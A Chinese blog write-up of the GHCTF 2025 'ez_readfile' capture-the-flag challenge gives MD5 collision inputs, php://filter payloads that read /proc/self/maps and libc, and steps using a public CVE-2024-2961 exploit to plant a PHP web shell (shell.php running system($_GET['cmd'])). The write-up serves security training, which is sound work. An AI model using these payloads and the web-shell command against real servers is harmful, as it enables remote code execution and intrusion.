[GHCTF 2025]ez_readfile

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

参考

https://www.nssctf.cn/note/set/11800
https://www.nssctf.cn/note/set/11874

题解

  1. md5强碰撞绕过
    https://blog.csdn.net/m0_73818134/article/details/131793815
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

方法一:读取敏感文件 docker-entrypoint.sh

在这里插入图片描述
在这里插入图片描述

方法二:利用CVE-2024-2961实现从将php://filter任意文件读取提升为远程代码执行(RCE)

  1. 读取并保存maps文件(base64解码后)

?file=php://filter/read=convert.base64-encode/resource=/proc/self/maps

  1. 读取并保存libc.so文件(base64解码后)

?file=php://filter/read=convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so

  1. 下载exp脚本

git clone https://github.com/kezibei/php-filter-iconv

  1. 将python脚本和maps、libc.so放在同一目录下,修改php-filter-iconv.py的配置路径
    在这里插入图片描述

cmd = “echo ‘<?php system($_GET[\"cmd\"]); ?>’ > /var/www/html/shell.php”

在这里插入图片描述
5. 运行脚本,获得paload
在这里插入图片描述
6.运行payload,页面虽然没有反应,但已生成了shell.php
在这里插入图片描述

7.通过shell.php 获取根目录的flag文件名,获得flag
在这里插入图片描述

在这里插入图片描述

小结

  • 优先考虑XXE敏感信息的读取
  • 在读取/flag时,提示没有那个文件,说明文件名是被特殊修改过的,不建议爆破文件名,因为出题人原本就不想让你猜到文件名的
  • 通过读取敏感文件 docker-entrypoint.sh以获取容器启动时对flag文件的配置,是一种解题方法
  • 在敏感文件读取不能获取的情况下,可以参考CVE-2024-2961的漏洞利用,实现从将php://filter任意文件读取提升为远程代码执行(RCE)

您可能感兴趣的与本文相关的镜像

Python3.8

Python3.8

Conda
Python

Python 是一种高级、解释型、通用的编程语言,以其简洁易读的语法而闻名,适用于广泛的应用,包括Web开发、数据分析、人工智能和自动化脚本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值